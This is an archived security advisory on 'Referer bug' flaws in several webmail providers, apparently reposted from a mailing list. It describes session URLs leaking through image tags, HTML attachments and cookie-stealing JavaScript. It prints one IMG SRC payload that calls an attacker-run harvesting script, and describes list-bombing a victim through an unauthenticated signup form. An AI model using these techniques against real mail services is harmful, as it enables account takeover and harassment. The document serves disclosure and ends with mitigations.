Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Web :: Apps :: webmail1.htm

WebMail sites - Multiple Vulnerabilities

    WebMail sites


    Multiple WebMail Vendor Vulnerabilities


    CDI  found  following.   After  almost  three  years  of continued
    harping  by  the  security  community,  too many 'Web Based Email'
    (WebMail)  providers   are  -still-   vulnerable  to   very   well
    documented security flaws, specifically, the 'Referer Bug'.   More
    info about these bugs at:

      NetAddress patches email bug - May 6, 1997

      BellSouth stamps out email bug - Aug 28, 1998

      Hotmail, Excite have privacy hole - June 29, 1998

    Whenever you  visit a  web site  by following  a link from another
    web site, a Referer is  generated and stored on the  visited site.
    The  referer  contains  the  exact  URL  of where the visitor came
    from.  If the link they  followed was embedded in an email,  it is
    possible that the Referer  will contain sufficient information  to
    allow an intruder to compromise the WebMail provider's application
    and  gain  unauthorized  access  to  the  victim's email.  In many
    cases,  the  compromise  can  be  automated  in such a way that an
    intruder  can  penetrate  an  account  the moment the victim reads
    their email.  Effected implementations are mentioned below.

    Critical Path Inc., Third-party provider
    Critical Path supplies web based email systems to other companies.
    Some,  but  most  certainly  not  all CP implementations are being
    effected by this bug.

    Test host: (Canada-centric Portal).

    Exploit:  All  CP  implementations  attempt  to  wrap links within
    email in an attempt to  prevent this bug from effecting  the user.
    HTML embedded directly into an email to a CP host will not  effect
    the  victim.   However,  CP's  parser  does  not  attempt to parse
    attachments. An email sent  which contains a text/html  attachment
    in MIME  (Base64) encoding  will not  be parsed.   When the victim
    views the attachment, the referer  bug strikes.  CP was  contacted
    about  this  bug  on  Jan  5th.   To  date,  is  still
    vulnerable, which implies there are others out there as well.

    A wrapper implementation  looks at each  incoming email. Any  link
    found in  the email  which leads  offsite will  be "wrapped".   An

        wrapped :

    The wrapper CGI in this instance foils the Referer bug by changing
    the Referer to  itself.  In  most cases, the  resultant referer is
    identical  to  the  'wrapped'  URL  shown  above.   This method of
    preventing  the  bug  is  effective,  but  certainly  not perfect.
    During my testing, Cookies proved to be the big show stopper.

    Side  note:  Although  some  people  consider Javascript execution
    within a webmail interface to  be a bug, some don't.   Regardless,
    CP hosts that are effected by the referer bug will also allow  you
    to run Javascript. / - Third-party provider
    Similar to CP, GoHip provides  web based email solutions to  third

    Known Affected:

    Exploit: GoHip/BigMailBox make  no effort at  all to prevent  this
    bug.  Send  HTML email to  a user with  an IMG SRC  image tag. The
    moment  the  victim  reads  their  email  they  are   compromised.
    (Provided   they   automatically   load   images   -   most   do).
    GoHip/BigMailBox also  allows the  execution of  Javascript within
    the email. - Stand-alone Provider, still in Beta
    They are  definitely vulnerable  to a  referer bug,  but they  are
    still in Beta.   Also, the URL they  leave behind in your  referer
    logs needs to be massaged a  little bit to make the exploit  work.
    Why not document what is needed here to exploit the bug?   Becuase
    they're in Beta and bugs should be expected. - Third-party Provider
    Minimal  vulnerability.   Although  the  referer  is  protected by
    cookies if the link originates  from within an email, the  same is
    not true  for email  attachments.   Attachments provide  a referer
    that can be used, but only to view that attachment. The caveat  to
    all of  this is  that although  the main  account is  protected by
    authentication  cookies,  the  attachment  can  be used to execute
    arbitrary Javascript commands - like commands that would grab  the
    cookies needed to compromise the account. - Stand-alone provider (Portal)
    Trivial to compromise.  The referer is wide open and no attempt is
    made to protect it.  No attachments needed - send your HTML  email
    and rest assured  the victim will  be compromised.   It's slightly
    more difficult for an  automated compromise as the  mail-retrieval
    host uses a non-standard port  (8383) to retrieve it's email.   If
    the payload is  sent as an  attachment, one can  induce Dotcool to
    execute Javascript. - Third-party provider
    Of all the ones compromised,  these guys were the most  difficult.
    Attachments and the email itself has all HTML converted over  into
    plain text with HTML entities  replacing all instances of '<'  and
    '>',  rendering  any  embedded  HTML inert, including attachments.
    HTML entities  are a  way to  have the  browser display characters
    that would  otherwise be  invisible to  the user  of the  browser,
    like converting '<' to  '&#lt;' and converting '>' to '&#gt;'   By
    rendering  ALL  html  within  an  email,  it renders any potential
    exploit harmless.

    Kudos to  Ghostmail for  taking this  stand since  it renders  any
    potential exploit  useless.   Unfortunately, they  don't bother to
    take the same  precaution with the  Subject: header of  the email.
    A carefully crafted Subject line will produce the desired referer.
    An IMG SRC tag with a short URL works best.

    Example:    </A><IMG SRC="http://3464267555/1.php3">

    The closing </A>  is needed to  prevent the ghostmail  parser from
    trashing our HTML in favor of it's own.  The decimal IP is used to
    shorten the URL as much as possible.. If it's too long ghostmail's
    parser  will  truncate  (and  break)  our  HTML.  The URL above is
    valid and points to the image.php3 file mentioned below. / NetAddress
    Long ago, NetAddress fixed their Referer Bug and it remains  fixed
    to this day.  They receive  a mention here because of a  different
    kind of  problem entirely.   During the  sign-up phase  for a  new
    account, the  user is  presented with  33 possible  mailing lists,
    special offers and what-not that they can subscribe to.  The  form
    used to accept and sign a user up to these lists  carries
    no authentication tokens at all.  In short, if you know  the email
    address  of  a  user,  you  can  sign  them up for all 33
    offerings by  submitting the  form using  their email  address.  A
    miniature list-bomb ensues.   The beauty of  this is that  even if
    the victim unsubscribes from  all the lists, you  can re-subscribe
    them with the click of a mouse.

    To  automate  the  theft  of  account  information, CDI wrote up a
    couple of PHP scripts.   They're not very smart, but  they'll take
    whatever  referer  they  are  given  and  try  to  grab   whatever
    information they can using that referer.  If you want to test send
    yourself an email with a link to:

    You are forewarned, all access to this script, including  whatever
    it manages to get, is logged.  If you have access to a PHP enabled
    server, you can grab the source at

    and modify it to  your heart's content.   If you want to  try your
    luck with  getting an  image link  through, then  send yourself an
    email with an IMG SRC tag pointing to:

    (Source  is  image.phps)   It's  identical  to  the  other script,
    including the logging, with the  exception being that if it  finds
    a referer, it  displays a 'success'  gif. If it  does NOT get  any
    referer  at  all,  you  get  a  'failed'  gif.   Please  note, the
    'success' does  not indicate  that it  compromised your  account -
    only that it got a referer of some kind.

    Please note that  such wrappers should  produce normal HTML  pages
    with hyperlinks and HTTP-EQUIV "client pull" tags. If the  wrapper
    simply uses a Location: redirect,  many clients will send the  URL
    of the  original page,  not the  URL of  the intermediate  wrapper
    (verified in  Netscape 4.7  and MSIE  4.0).   For things like this
    click-through wrapper, this  behavior is important  to understand.
    This allows  helpful/good things  like browsers  telling what  the
    last page  really was  when the  user follows  a server side image
    map; having a referer like,2

    is not as helpful as

    Example 1:
          contains link to
          uses Location: to redirect client to
          sees HTTP_REFERER as ""

    Example 2:
          contains link to
          creates HTML page with <META HTTP-EQUIV=refresh CONTENT="1; url=">
          HTTP_REFERER is either empty[1] or contains ""

    Which also means you probably want to be careful what your wrapper
    puts in the  CONTENT attribute of  the client-pull tag.  Of course
    all this depends on the behavior of the browser.

    For Netscape 4.7 and MSIE  4.0, if the user's browser  follows the
    client-pull  META  tag,  the  browser  will not send *any* Referer
    header to; but if the wrapper creates a normal
    <A HREF="...">  hyperlink, the  browser will  send the  URL of the
    wrapper  to  the  server   handling   So   a
    client-pull with a  short delay in  the CONTENT attribute  is most
    likely to anonymize the hyperlink.


    Option 1: Stop treating your email like a web page, and if you  do
    decide to  treat your  email like  a web  page, don't be surprised
    when someone else decides to treat your email like a web page.

    Option  2:  Disable  Java,   Javascript,  Active  Scripting,   and
    Automatic Image Loading.  That's right - make your browser as dumb
    as a post - but it won't help any, you're still vulnerable to this
    bug.  (Option 1 sure does look nicer now, doesn't it?)

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH